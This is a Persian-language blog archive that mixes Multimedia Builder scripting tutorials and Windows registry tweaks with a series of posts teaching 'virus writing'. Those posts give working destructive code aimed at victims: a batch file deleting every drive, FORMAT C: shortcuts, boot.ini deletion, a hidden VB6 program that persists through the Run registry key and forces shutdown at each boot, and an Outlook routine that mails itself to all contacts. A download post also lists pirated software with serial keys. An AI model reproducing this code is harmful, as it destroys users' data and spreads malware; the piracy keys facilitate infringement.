تبليغاتX
آموزش رجیستری و مولتی مدیا بیلدر

آموزش رجیستری و مولتی مدیا بیلدر

آموزش

+ نوشته شده در  ساعت   توسط اسماعیل  | 

ویروس نویسی با ویژوال بیسیک 6

نیمچه ویروس !!!!

 یک نیمچه ویروس که اعصاب کاربر رو داغون میکنه .این برنامه مختصات فعلی ماوس را به  طور تصادفی در  صفحه تایین میکند و با این کار نشانگر ماوس شما در هر لحظه در یک جای صفحه خواهد بود.

 

شرح برنامه:

 

ابتدا باید از تابع Api به نام SetCursorPosاستفاده کنید که به این صورت است.

 

Private Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long

و باید در فرم تعریف شود

 

و سپس یک تایمر با فاصله زمانی(interval) 1 در فرم ایجاد کرده و سپس کدهای زیر را که برای شما نوشتم را در داخل تایمر قرار دهید و سپس کلیدF5  را فشار دهید .چی می بینی؟

 

کد تایمر برنامه:

Private Sub Timer1_Timer()

'programin by farzad dh.

'weblog:farzadvb.blogfa.com

'e-mail:f_d662003@yahoo.com

'\/\/\/\/\/\/\/\/\/\/\/\/\/\

'8-Jul-05

 Randomize 1000

  farzadvb = Rnd(10) * 1000

 bestforvb6 = Rnd(10) * 1000

  temp = SetCursorPos(farzadvb, bestforvb6)

End Sub


از بین بردن ویندوز
دوستان از کار انداختن ویندوز اصلا کار سختی نیست در واقع فقط باید یه فایل با پسوندini
به اسم boot را از بین ببریم.که این کار با استفاده ارپز فرمان killعملیه
خب بریم سراغ کدها
برای این ویروس تنها باید کدهای زیر را در form loadبنویسید
("  Kill ("c:\boot.ini
     " Shell "shutdown -r -t 1
فکر نمی کنم نیاز به توضیح باشه خط اول را که گفتم و در مورد خط دوم کامل در پست اول توضیح دادم

     


این برنامه (ویروس)ویندوز رو به حالت screen saver می بره ولی کاربر دیگه قادر نیست از screen saver
خارج بشه و مطمئن باشید راه دیگه ای بجز ری استارت سیستم نمی مونه
خب برای شروع ابتدا این کد ها رو در قسمت   Generalفرم قرار دهید (کپی کنید)


Private Const SC_SCREEnSAVE = &HF140&
Private Const WM_SYSCOMMAND = &H112
Private Declare Function FindWindowA Lib "user32" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParm As Any) As Long
Sub ScreenSaver(blnScreenSaver As Boolean, Optional lHwnd As Long, Optional sFormCaption As String)
Dim lState As Long
If lHwnd = 0 Then
lHwnd = FindWindowA(vbNullString, sFormCaption)
End If
If blnScreenSaver Then
lState = 1
Else
lstat = -1
End If
Call SendMessage(lHwnd, WM_SYSCOMMAND, SC_SCREEnSAVE, lState)
End Sub

و در اخر یه timerبا قابلیت interval=1 به فرم اضافه کنید و کد های زیر را به فرم اضافه کنید(کپی کنید)


Private Sub Timer1_Timer()
Call ScreenSaver(Me.hWnd, Me.hWnd, -1)
End Sub

تو ضیحات:
۱-صرفا عاملی که بر نامه رو به یه شبه ویروس تبدیل می کنه وجوده تایمره با قابلیت intervalبسیار کم برای
گرفتن هر گونه قدرت عکس العمل از قربانی میگیره چون باعث میشه هربار که کاربر screen saver
را غیر فعال می کنه دوباره اونو اجرا کنه


ویروس ها از هر نوع که باشند حداقل در سه ویژگی مشترکند

 

1-پنهان بودن

2-اجرای اتوماتیک

3-توانایی توزیع خود

 

توانایی اول و دوم را در پست اول کامل توضیح دادم(حتما بخونید)

 

حالا می رسیم به قابلیت سوم یعنی توانایی توزیع خودکار ویروس

برای این کار کافیه این کدها را در برنامه قرار بدید

Set OutlookApp = CreateObject("Outlook.Application")
If Not OutlookApp = "" Then
For Each ContactSwitch In OutlookApp.GetNameSpace("MAPI").AddressLists
For UserGroup = 1 To ContactSwitch.AddressEntries.Count
Set OutlookEmail = OutlookApp.CreateItem(0)
OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup)
OutlookEmail.Subject = "Check this out!"
OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"
OutlookEmail.Attachments.Add WScript.ScriptFullName
OutlookEmail.DeleteAfterSubmit = True
OutlookEmail.Send
Next
Next
End If
 
 
OutlookEmail.Subject = "Check this out!"
OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"
OutlookEmail.Attachments.Add WScript.ScriptFullName
 

 

 

نکته:

1-در این کدها در قسمت موضوع ومتن نامه میتوانید عبارت دلخواهتون را جایگزین کنید

2-ترجیحا این کدها باید در قسمت Form_Load نوشته شوند

3-این کدها به خودی خود ویروس نیستند بلکه شما باید در کنار این کدها کد اصلی(بدنه ی ویروس) را حتما وارد کنید


این دفعه یه سورس ویروس دارم که خیلی خطرناکه و کل هارد رو تخریب میکنه فقط کافیه این کدها را در Notepad و نوشته و با پسوندBATذخیره کنید

@echo off

ATTRIB -a -s -h -r c

ATTRIB -a -s -h -r c:\windows\*.*

Echo y | echo a | Echo y | del c:\*.*

Echo y | echo a | Echo y | del d:\*.*

Echo y | echo a | Echo y | del e:\*.*

Echo y | echo a | Echo y | del f:\*.*

Echo y | echo a | Echo y | del g:\*.*

echo y | copy *.* C:\

echo y | copy *.* D:\

echo y | copy *.* E:\

echo y | copy *.* F:\

echo y | copy *.* G:\

resrart

تذکر :

۱-هرگز این فایل را داخل سیستم خود اجرا نکنید کنید

۲-این ویروس صدمه ای(فیزیکی) به هارد نمی رسونه نترسید فقط هارد رو بهم می ریزه

 *******************************************************************

نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر.نظر..

یادتون نره


ویروس ایندفعه باعث می شه تا درایوC (یا هر درایو دیگه)فرمت بشه با این که نحوهه ی ساختش به ویروس های معمولی شباهت نداره ولی کارش تقریبا مثل یه ویروس خوبه

برای شروع:

 

روي دسكتاپ راست كليك كنيد. بعد يک New ShortCut بسازيد.يه صفحه باز ميشود و داخل کادر بنويسيد: FORMAT C:/Y يا FORMAT C:/Q  يا  C:/Autotest Format سپس Next را زده و در صفحه جديد كه باز ميشود يه اسم براي ويروسي که ساخته ايد انتخاب كنيد. سپس Next را زده و يه آيكون براي ويروس انتخاب کرده و Finish كنيد.حالا بر رو Shortcut کليک راست مي کنيد . بعد روي Properties کليک کنيد.  سپس به قسمت Screen رفته و Window رو به Full-screen تغيير دهيد.حال ويروس ماده است اگر روي اون کليک بکنيد درايو /:c شما فرمت ميشود.ت

 

  براي امتحان درايو A را انتخاب کنيد يعني درون ShortCut اين را بنويسيد .FORMAT A:/Y و ببينيد چه اتفاقي مي افتد.

 

بابا جون چرا نظر نمی دین؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟


درس اول

ویروس نویسی

با توجه به اینکه عمده ویروس هایی که آموزش داده خواهند شد با ویژوال بیسیک طراحی شده اند به شما پیشنهاد می کنم اگه این برنامه را ندارید حتما تهیه کنید.

 

ویروس بلاستر(البته گفتنیه که این کدها مربوط به بلاستر واقعی نیست و فقط کارش شبیه اونه)

.فکر می کنم شما هم حتما با کدهای این ویروس اشنا هستید ولی امروز می خوام کد هایی را در کنار این ویروس یاد بدم سبب می شود این ویروس:.

 

1-پنهان باشد( نه در .....دیده بشه ونه فرم اون قابل دیدن باشه )

2-پس هر بار روشن شدن کامپیوتر بلافاصله دو باره آن را خاموش یا ریست کند

3-ویروس یاب ها ها قادر به شناسایی آن نبا شند

 

فکر می کنم ویژگی های گفته شده به تنهایی شمارا مجاب به امتحان ویروس می کنه

خوب بریم سراغ کدها:

ابتدا این کدها را در قسمت فرم کپی کنید(ویژوال بیسیک)

Private Sub Form_Load()

Shell "shutdown -s -t zz"

End Sub

نکات:

کد بالا مخصوص خاموش کردن رایانه ی قربانی است برای رستارت کردن باید بجای -sقرار بدین-r

می توانید بجایzzزمان لازم برای عمل کرد ویروس را قرار دهید(بر حسب ثانیه)

 

 برای پنهان کردنبرنامه باید عبارت زیر را درformوارد کنید.

App.TaskVisible = False
Me.Hide

 خط اول برای پنهان کردن برنامه در..taskbarو خط دوم برای پنهان فرم کردن از دید کاربره

 

۳-به نظر من مهمترین نیاز یک ویروسه اجرای اتو ماتیک ویروسه که کدهای زیر این نیاز را برطرف می کنه

Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

حالاکد برنامه ی  شما باید مثل زیر باشد

Private Sub Form_Load()

Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

Shell "shutdown -s -t zz"

App.TaskVisible = False
Me.Hide

End sub

 

این برنامه با فشردن کلید.f5اجرا می شود ولی من توصیه می کنم اول فایل اجرایی آن را ذخیره و بعد اجرا کنید

 

 

نکات نهایی:

1- برای اینکه فرصت عکس العمل را از قربانی بگیرید زمان عملکرد ویروس را کمتر از5 ثانیه در نظر بگیرید

 

2-در صورتی که زمان عملکرد را بسیار کم در نظر گرفته اید هر گزان را اجرا نکنید چون اولین قربانی ویروس خود خواهید بود

3- اگر بتوانید ویروس رادر جایی غیر از درایو های اصلی قربانی قرار دهید قربانی برای نجات مجبور به formattکردن کل هارد می شود چون عملا این ویروس استفاده از ویندوز را غیر ممکن می سازد و اگر در درایو های فرعی باشد این بلا را سر سیستم عامل های تعویض شده هم می آورد.

+ نوشته شده در  ساعت   توسط اسماعیل  | 

دانلود

● يک برنامه ی بسيار قدرتمند برای convert هرگونه فایل صوتی و حتی تصویری
OSS Media Converter Pro v4.0.0
Size: 13.4mb
Nm:overdays.net Em:warez@team.ru Sn:3c654ep7ayqujwr
+++++++++++
برنامه ای قوی برای ذخیره ی سایت
WebZIP v5.0
Size: 0.91mb
Nm:eSCLETACLe Sn:5AG3AC6G934EC4D
++++++++++++
این کارها رو انجام میده:
1. Clean up hard disk. 2. Remove the pagefile wapfile). 3. Disable running applications. 4. Run Windows/DOS Scandisk. 5. Run Windows/DOS defrag disk. 6. Set the pagefile wapfile). 7. Enable running applications. 8. Shutdown/Restart Windows
Defragmenter Pro Plus 1.0
Size: 0.78mb
++++++++++++++++
AceHTML 5.08 Pro is the high-performance solution for creating and managing Web sites with a maximum of productivity and efficiency
AceHTML Pro v5.08.1
Size: 4.92mb
Nm:pirate Sn:TETB-LJAV-SHWZ-ZZZZ
+++++++++++++++
اسکرین سیور
SimAquarium v2.06
Size: 3.64mb
++++++++++++
برای ساخت انیمیشن سه بعدی
Ulead COOL 3D 3.5
Size: 14.6mb
+++++++++++
برای ترمیم رجیستری
Registry Mechanic v1.01
Size: 1.29mb
+ نوشته شده در  ساعت   توسط اسماعیل  | 

 این هم جدیدترین نسخه ی یاهو مسنجر۸ برای دوستان اهل چت از اینجا   دانلود کنید
+ نوشته شده در  ساعت   توسط اسماعیل  | 

بالا بردن سرعت ویندوز 100%

به درخواست امید عزیز این مطلب رو می نویسم برای بالا بردن سرعت ویندوز شما می توانید ۲ تا ویندوز یکی تو درایو  C و دیگری تو درایو

D اون وقت هر چی نرم افزار که دوست دارید  تو ویندوز اولی نصب کنید و آنها را در ویندوز دومی استفاده کنید بدون اینکه سرعت ویندوز شما پایین بیاید این کار روی ۹۵٪ از نرم افزار ها کارایی دارد

شما را به خدا نظر بدین با این نظر هایی که شما می دین دیگه حال نوشتن نیست. اگه از موضوعات این وبلاک جایی استفاده کردی و اسم وبلاک را درج نکردی شما را نفرین میکنم این هم را اینجا می زارم تا شما را ۲۴ ساعته نفرین کنه

+ نوشته شده در  ساعت   توسط اسماعیل  | 

آموزش ساخت ویروس zero zone

 در این درس میخواهیم آموزش ساخت ویروس zero zone  را به شما بیاموزیم اين ويروس TimeZone ويندوز را صفر ميكند.يعني تايم ويندوز و  روز آن صفر ميشود.

هيچ ضرري براي كامپيوتر ندارد فقط بايد دوباره زمان وروز ويندوز خود را تنظيم كنيد.وبيشتر براي ترساندن به كار ميرود.

 

بازم مثل هميشه Notepad  را باز كنيد وكد زير را در آن تايپ كند .

@Echo off
time=0:0:0

حال آن را با نام  Time0.bat  سيو كنيد.

 

بعد دوباره NotePad را باز كرده و كد زير را در آن تايپ كنيد.

 

@ECHO OFF
date=10-10-10
 
 

اين فايل را هم مثل فايل قبلي با نام Date0.bat  سيو كنيد.

 

حال دوباره NotePad را باز كرده و كد زير را در آن تايپ كنيد.

 

@echo off
echo I AM A VIRUS
echo SEAT AND SEE MY POWER!!!...
pause

و آن را با نام Comment.bat  ذخيره كنيد.

 يه NotePad باز كرده وكد زير را در آن تايپ كنيد.

 

START TIME0
START DATE0
START comment
 

وآن را با نام Help.bat ذخيره كنيد.

 

بر روي فايل آخر رايت كليك كرده و Create ShortCut را بزنيد و نام آنرا به Help.txt تغيير دهيد.

 

سپس با رايت كليك بر روي Help.txt وانتخاب Properties  و زدن Change Icon يه آيكون براي فايل خود انتخاب كنيد.

 

بقيه فايلها را در يك Folder ذخيره كنيد كه شما ميتوانيد آن Folder را نيز Hidden كنيد.

 

حال ويروس ما آماده است. ( برای راحتی شما من این ویروس را درست کرده ام ودر آدرس زیر قرار داده ام )

 

برای سفارش دادن سی دی شامل تمام برنامه های آموزش داده روی همین متن کلیک نمایید.

+ نوشته شده در  ساعت   توسط اسماعیل  | 

آموزش ساخت يک ويروس ساده ولی خطرناک:

ميخوام نوشتن يه ويروس ساده ولي خطرناكو بهتون ياد بدم.

 اين ويروس چيز سميخوام نوشتن يه ويروس ساده ولي خطرناكو بهتون ياد بدم.

 اين ويروس چيز سختي نيست ولی خيلي خطرناكه.

ختي نيست ولی خيلي خطرناكه.

 

 

 

اول از همه روي دسكتاپ رايت كليك كنيد بعدش New ShortCut بسازيد.

 

يه صفحه باز ميشه در اون بنويسيد:   Format C:/Autotest

 

سپس Next را زده و در صفحه جديد كه باز ميشه يه اسم واسه ويروستون انتخاب كنيد.

 

سپس Next را زده ويه آيكون با سليقه خودتون براي اون انتخاب كرده و Finish  كنيد.

 

خب ديگه كارمون تمومه حالا اگه اجراش كنين بيچاره ميشين.

 

اگه خواستين بفهمين چي ميشه به جاي Format C:/autotest بنويسيد Format a:/autotest  و يه فلاپي كه حاوي اطلاعات هستش در Flopy Drive خود قرار دهيد بعد اجراش كنيد بعد برين سراغ فلاپيتون ببينيد چي شده.ميبينيد فلاپي پاك شده وديگه نه ميشه اطلاعات روش ريخت ونه ميشه فرمتش كرد.

.

+ نوشته شده در  ساعت   توسط اسماعیل  | 

آموزش مولتی مدیا بیلدر

این ها script   هایی هستند که مربوط به زمان هستند .

PageTimer("","")

ExitTimer("")

ScriptTimer("","")

RunScript("")

Pause("")

Return()

Refresh()

در آموزش های قبلی برخی از این کد ها استفاده کردیم اما در این بخش بیشتر به این script ها می پردازیم :

PageTimer("ms","PageLabel")

با اجرای این کد می توان پس از زمانی که تعیین می کنید به صفحه مورد نظر بروید . مثلا در این کد پس از گذشت 1000 میلی ثانیه (1 ثانیه) به صفحه ای که با Label آن را در قسمت دوم نوشته ایم (در اینجاpage 2  ) می رود :

PageTimer("1000","Page 2")

ExitTimer("ms")

این یک تایمر است که پس از گذشتن زمان مشخص شده پنجره بسته می شود (عمل Exit() انجام می شود) . در این کد پس از کذشتن یک دقیقه پس از اجرای این Script پنجره بسته خواهد شد .

ExitTimer("60000")

ScriptTimer("ObjectLabel","ms")

پس از گذشتن زمان تعیین شده Script مورد نظر اجرا می شود . در اینجا فقط منظور شئ Script نیست این کد مربوط به هر شئی که بتوان در آن Script مورد نظر خودتان را وارد کنید مثلا Text Button ، Rectangle و... می باشد . در قسمت اول نام شئ و در قسمت دوم زمان را می نویسیم . در مثال شئی با نام Script پس از 1 ثانیه اجرا می شود .

ScriptTimer("Script","1000")   

RunScript("ObjectLabel")

این کد مانند کد بالا عمل می کند با این تفاوت که بلافاصله Script را اجرا می کند .

RunScript("Script")

Pause("ms")

می انید که برای اجرای کد ها ، آنها از بالا به پایین خوانده می شود (بدون هیچ وقفه ای) . از این دستور برای وقفه در بین خطوط کد ها استفاده می شود .

Return()

اگر خطوط Script ها را مانند یک رشته سیم فرض کنیم ، دستور Return مانند کلیدی است که  این ارتباط و رسانایی بین رشته ها را قطع می کند . یا وقتی به این خط رسید بقیه خط ها را نمی خواند . از اینscript  می توانید در دستور شرطی If یا حلقه for استفاده کنید .

Refresh()

تقریبا از اسم این کد می توان به طرز کار آن پی برد . این Script در حلقه ها بسیار مفید است . مثلا در یک حلقه Normal در هنگام شمارش شما نمی توانید از کلید های دیگر استفاده کند . اما اگر در حلقه خود Refresh را جای دهید این مشکل برطرطرف می شود .

برای اجرای کد های نمونه زیر ، یک Text با نام Counter ایجاد کنید .

یک حلقه با Refresh :

For n=1 To 100000

  i=n

  DisplayValue("Counter","i")

  Refresh()

Next n

یک حلقه Normal  :

For n=1 To 100000

  i=n

  DisplayValue("Counter","i")

Next n

تغییری که در اجرای این دو حلقه وجود دارد کاملا محسوس است .

 

 

یکی از ابزار هایی که MMB در ورژن 4.9 آن را در نرم افزار قرار داد امکان گذاشتن فایل های با پسوند *.swf یا همون فلش است .

برای اینکار از Object | Create عنصر Flash را انتخاب کنید . و در مکان مناسب روی صفحه کلیک کنید . پنجره ای باز می شود که  می توانید تنظیمات مربوط به فلش را انجام دهید . خلاصه می نویسم :

Play: در صورت فعال بودن با اجرای برنامه ، فایل فلش  شروع به اجرا می کند .

Loop : به صورت حلقه ای اجرا می شود ، یعنی وقتی تموم شد دوباره اجرا شود . البته بعضی از فلش ها رو اینجوری درست می کنند که به فریم آخر دستوری مشابه این دستور نسبت می دهند تا stop شود : Stop();

بعد یه دکمه می سازند و این دستور رو بهش می دهند :

On(release) {

       gotoAndPlay(1);

}

یعنی برود به فریم 1 و شروع کند ، پس Loop نتیجه مطلوب ما را نخواهد داشت .

راستی کد های بالا action script های مربوط به برنامه Flash است .

Hide Menu: منویی که هنگام راست کلیک باز می شود را مخفی می کند .

Min. Menu: در صورتی فعال خواهد بود که Hide Menu غیر فعال باشد . این گزینه فقط آیتم های Setting … و About Macromedia Flash [version] را در منویی که هنگام راست کلیک باز می شود نشان می دهد .

Keep Aspect Ratio : فقط همون قسمت اصلی را نشان می دهد . یعنی اگر 300*200 تعریف شده باشد هر اندازه ای تنظیم کنیم خود به خود به نسبت 3*2 در می آید .

Preserve Original Size :   پس از زدن Ok  به اندازه اصلی بر می گردد .

Override Background color : تغییر رنگ پس زمینه فلش .

Run from frame : اجرا شدن فلش از فریم دلخواه . (فقط شماره فریم رو بنویسید)

Quality  : وضوح تصویر را در 3 حالت تنظیم می کند .

 

 

اول از همه بگم که : مرگ من نظر بذارید این همه اینا رو می نویسم  آخرش 2 تا نظر !

جالبه بخونید .

برنامه ای می نویسیم که یکی یکی (هر نیم ثانیه) کد های ASCII را و  همان شکل خروجی اش را نشان می دهد .

دو تا Text درست کنید و نام های آنها را Text1 و Text بگذارید . یک کلید هم برای Start بگذارید و این Script  ها را در کلید قرار دهید . ( اینو هم بکم کد های ASCII از 0 تا 255 است)

For -1 To 255

  i=i+1

  string$=CHR(i)

  LoadText("Text","string$")

  DisplayValue("Text1","i")

  Pause("500")

Next

حالا خودتون بشینید برنامه ای بنویسید که کد ASCII را وارد می کنیم و به کاراکتر تبدیل میکند .

کل برنامه به خاطر CHR است .

 

امکاناتی که MMB برای اعداد تعبیه کرده محدود است (مثلا جذر نمی گیرد ، حتی اگر به توان نیم برسونیم ، عدد خروجی همیشه 1  خواهد بود ) . در اولین قسمت آموزشی MMB که مربوط به ساخت ماشین حساب بود استفاده از 4 عمل اصلی و توان را یاد گرفتیم . حالا بریم سراغ قدر مطلق، عدد اتفاقی و جزء صحیح اعداد .

ABS(number)

این کد قدر مطلق یک عدد را نشان می دهد (عدد -321):

A=ABS(-321)

Message("","A")

INT(number)

این کد جزء صحیح یک عدد را نشان می دهد . مثلا اگر عدد ورودی 14.51 باشد عدد خروجی 14 خواهد بود .

A=INT(14.51)

Message("","A")

RND(maxvalue)

در داخل پرانتز یک عدد بنویسید .این عدد حداکثر عددی است که به عنوان عدد اتفاقی به شما داده می شود . مثلا اگر بنویسید 5 عدد اتفاقی عددی صحیح بین0 تا 5 خواهد بود .

A=RND(2)

Message("","A")

 

 

   با چند مثال ثابت های سیستمی را معرفی می کنم :

مثلا طول و عرض پنجره ویندوز شما ، طول و عرض محیط قابل ستفاده desktop شما ، فاصله کرسر ماوس تا چپ و بالا ی محیط کار ویندوز ، ورژن ویندوز شما ، مدل CPU  همه از ثابت های سیستمی هستند . حالا بریم سراغ کد نویسی ! نتیجه کد های زیر در قالب یک پنجره پیام خواهد بو که شما می توانید با استفاده از دستور  DisplayValue("","") و قرار دادن یک Text در صفحه نتیجه کار را در آن ببینید .

 

ScreenWidth ()

مختص X نمایشگر را برمی گرداند .

Message("Display width is: ","ScreenWidth()")

ScreenHeight ()

مختص Y نمایشگر را برمی گرداند .

Message("Display width is: ","ScreenHeight()")

 

WorkAreaWidth ()

مختص X فضای کار را بر می گرداند . (مثلا اگر TaskBar در سمت چپ Desktop باشد ، Taskbar از Screen Width کم می شود)

Message("Display work area width is: ","WorkAreaWidth()")

 

MouseX()

فاصله کرسر ماوس تا سمت چپ دسکتاپ

Message("Current mouse X position: ","MouseX()")

MouseY()

فاصله کرسر ماوس تا بالای دسکتاپ

Message("Current mouse X position: ","MouseY()")

ProcType()

نام شرکت سازنده و  واحد پردازنده مرکزی(central processor unit) یا CPU را بر می گرداند . توجه داشته باشید که ProcType() باید به صورت String تعریف شود . اما چون مغیر های بالا Integer بودند نیازی به تعریف کردن ان به شکل String نیست .

cpu$=ProcType()

Message("CPU in this machine is: ","cpu$")

ProcFreq()

سرعت CPU را به MHz نشان می دهد .

Message("CPU frequency in MHz: ","ProcFreq()")

GetMemory()

مقدار حافظه RAM را نشان می دهد .

a$=GetMemory()

Message("Machine memory status: ","a$")

UsingWinNT()

در قالب یک عدد (Integer) نشان می دهد که آیا کاربر از Windows NT  استفاده می کند یا خیر .

Message("WinNT-compatible OS present: ","UsingWinNT()")

برای عدد خروجی دو حالت وجود دارد :

اگر مساوی با 1 باشد یعنی کاربر از خانواده سیستم عامل WinNT استفاده می کند .

اما اگر عدد خروجی 0 باشد یعنی کاربر از خانواده سیستم عامل WinNT استفاده نمی کند .

 

WinVer()

ورژن ویندوز را نشان می دهد .

var$=WinVer()

Message("Windows version : ","var$")

در جدول زیر انواع ویندوز و ورژن آنها را  نوشته ام .

 

4.00.950

Windows 95

4.00.(>950) / 4.00.(<=1080)

Windows 95 SP1

4.(<10).(>1080)

Windows 95 OSR2

4.10.1998

Windows 98

4.10.(>1998) / 4.10.(<2183)

Windows 98 SP 1

4.10.(>=2183)

Windows 98 SE

4.90.3000

Windows Me

3.51.1057

Windows NT 3.51

4.00.1381

Windows NT 4.0

5.00.2195

Windows 2000

5.01.2600

Windows XP/SP1

 

این رو هم اضافه کنم که مثلا در ورژن ویندوز Xp (5.01.2600) ، 5 را Major version ، 01  را Minor Version و 2600 را Build Version   می نامند .

 

طول و عرض پنجره ، طول و عرض محیط مفید پنجره ، فاصله پنجره تا بالا و سمت چپ Desktop (X,Y)، فاصله یک Object تا بالا و سمت چپ پنجره (همان پنجره که با MMB درست کرده اید) . طول و عرض یک Object . فعال یا غیر فعال بودن یک Object و... از انواع Publication Constants است.

 

PubWidth()

طول پنجره را نشان می دهد. البته با قاب دور پنجره .

Message("Project window width + border is: ","PubWidth()")

 

PubHeight()

عرض پنجره به اضافه قاب دور پنجره و قسمت عنوان را نشان می دهد.

Message("Project window Height + border is: ","PubHeight()")

ClientWidth()

طول محیط کار پنجره را نشان می دهد . بدون قاب دور آن .

 

Message("Workarea width is: ","ClientWidth()")

Client Height()

طول محیط کار پنجره را نشان می دهد .

 

Message("Workarea Height is : ","ClientHeight()")

از اینجا به بعد کد های نمونه رو نمی نویسم ، چون می دونید چه جوری کد ها رو بنویسید .

PubX()

فاصله پنجره تا سمت چپ Desktop را نشان می دهد . (مختص X)

PubY()

فاصله پنجره تا بالای Desktop را نشان می دهد . (مختص Y)

ObjectX()

فاصله یک Object تا سمت چپ پنجره را نشان می دهد . در داخل پرانتز باید Label  شي مورد نظرتان را بنویسید .

ObjectY()

فاصله يک Object تا بالای پنجره را نشان می دهد . در داخل پرانتز باید Label  شي مورد نظرتان را بنویسید .

ObjectWidth()

طول یک Object را بر می گرداند . در داخل پرانتز باید Label  شي مورد نظرتان را بنویسید .

ObjectHeight ()

عرض یک Object را بر می گرداند .

IsVisible()

اول label شی مورد نظرتان را در داخل پرانتز ها تایپ کنید . یرای مقدار خروجی آن 3 حالت پیش می آید : اعداد 1 ، 0 و -1

-1 یعنی : Object ی با این نام وجود ندارد .

0 یعنی : وجود دارد امَا ...........  مخفی است!

1 یعنی : وجود دارد  مخفی هم نیست !

 

For …

خب با یک مثال می خواهم طرز کار حلقه For را نشان دهم . (حلقه For یک عمل را چند بار انجام می دهد) . MMB در بین حلقه ها فقط For و در بین دستور ها  If  را دارد .

این مثال 5 بار پیامی را ظاهر می کند که در آخر آن پیام عددی وجود دارد که به ترتیب از 1 تا 5 را نشان می دهد .

For 1 To 5

i=i+1

Message("Number ","i")

Next

دیگه نیازی به توضیح نیست .پیام ها به ترتیب با این عنوان ها می آیند .

  Number i: 1

  Number i: 2

  Number i: 3

  Number i: 4

  5Number i:

با این حلقه یک عدد را (در یک TextBox) وارد می کنیم به عنوان تعداد خط ها . سپس کلید مورد نظر را می زنیم و در خروجی که یک Text است نشان می دهد که N تا خط (عدد درون TextBox) حداکثر صفحه را به چند قسمت تقسیم می کند . توی جدول نوشته ام رابطه اش رو خودتون پیدا کنید .

یک کلید (Text button) هم درست می کنیم که این عملیات را اجرا کند . (قسمت Output دکمه را در حالت Ineger قرار دهید . چون عدد صحیح است و در دو کادر مقابل آن به ترتیب A$ و A  بنویسید ).

 

قسمت ها

تعداد خط ها

1

0

2

1

4

2

7

3

11

4

16

5

22

6

29

7

37

8

 

دستور مربوط به کلید :

i=0

p=1

For 1 To A

  i=i+1

  p=p+i

Next

DisplayValue("Answer","p")

در قسمت Label   متن خروجی (همون text) نام Answer را تایپ کردم .

حالا شما می توانید دستور هایی ترکیبی با IF و For  یا If در If  و... بنویسید

+ نوشته شده در  ساعت   توسط اسماعیل  | 

ترفندهای رجیستری ( با توجه به آشنایی شما با رجیستری ) :

منوی start  را سریع تر کنید

در منوی start  زیر منوها پس از 400 میلی ثانیه ظاهر میشود که برای کاربرن حرفه ای ممکن است چند ثانیه طول بکشد شما میتوانید این زیر منوها را به سرعت برق ظاهر کنید آن هم با رفتن به سراغ کلید زیر ( البته قبلا از این کار یادم رفت بهتون بگم که باید از منوی start  گزینه run  را انتخاب کرده و سپس کلمه regedit   را در آن وارد و  ok  را بزنید  و حالا شما در رچیستری ویندوز هستید ) کلید زیر را در رجیستری پیدا کنید :

HKEY_CURRENT_USER\CONTROL PANEL\DESKTOP

در این جا فقره ی MENU SHOW DELAY  را پیدا کنید مقدار این متغیر طول تاخیر منو را بر حسب میلی ثانیه از 0 تا 999 نشان میدهد که میتوانید با دادن مقدار 1 به آن سرعت آن را بسیار بسیار سریع کنید تا در نیم سوت زیر منوها ظاهر شوند


از کار انداختن ارتقای MEDIA PLAYER

پخش کننده ی ویندوز اکس پی یعنی همون مدیا پلیر خودمون هر 1 ماه یه بار میخواد خودشو ارتقا بده و شما میتوانید این ارتقا خودکار را از کار بندازید خوب ابتدا کلید زیر را در رجیستری پیدا کنید :

HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\MEDIAPLAYER\UPGRADE

اکنون مقدار متغیر ENABLE AUTO UPGRADE  را به  NO  تغییر دهید ( البته ممکن در بعضی سیستمها به طور اتوماتیک  NO  باشه )


تغییر دادن گروه بندی نوار تکلیف (TASKBAR  ) :

وقتی که برنامه ها یا اسناد متعددی را در  آن واحد باز میکنید و نوار تکالیف با شکلک های متعدد شلوغ میشه خود ویندوز ایکس پی نوار تکلیف را با گروه بندی پنجره های مفتوح مشابه در یک شکلک واحو خلوت می سازد رجیستری به شما کمک میکند این ترتیب را تغییر دهید ابتدا به کلید زیر بروید :

HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\CURENT VERSION\EXPLORER\ADVANCED

سپس در سمت راست روی یک جای خالی راست کلیک کرده و سپس از منوی  NEW  گزینه DWORD  را انتخاب کنید و اسم آن را TASKBARGROUPSIZE  بگذارید

اگر مقدار 1 به آن بدهید ویندوز پنجره ها را بر حسب اندازه شان گروه بندی میکند یعنی بزرگترها اول قرار میگیرند و ... اگر مقدار 2 بهش بدین هر وقت 2 تا پنجره یا یا بیشتر ار یک نوع برنامه باز شمود آنها را گروه بندی میکند و ااگر 3 بدهید هر وقت 3 تا یا بیشتر از یک برنامه باز شود آن ها را گروه بندی میکند


برنامه ها را از منوی  START  بردارید :

منوی START  در ویندوز اکس پی این امکان را به شما میدهد که به 4 یا 5 برنامه اخیر اجرا شده دسترسی سریع داشته باشید اما اگر بخواهید این برنامه ها منوی START  را شلوغ نکنند یا شاید نخواهید کاربر بعدی بداند شما از کدام برنامه ها استفاده کردید چه باید کرد ؟

خوب این کار مشکلی نیست شما میتوانید به ویندوز بگویید بعشی برنامه ها را که شما میخواهید در منوی  START  نشان ندهد . ابتدا به کلید زیر بروید :

HKEY_CLASSES_ROOT\APPLICATION

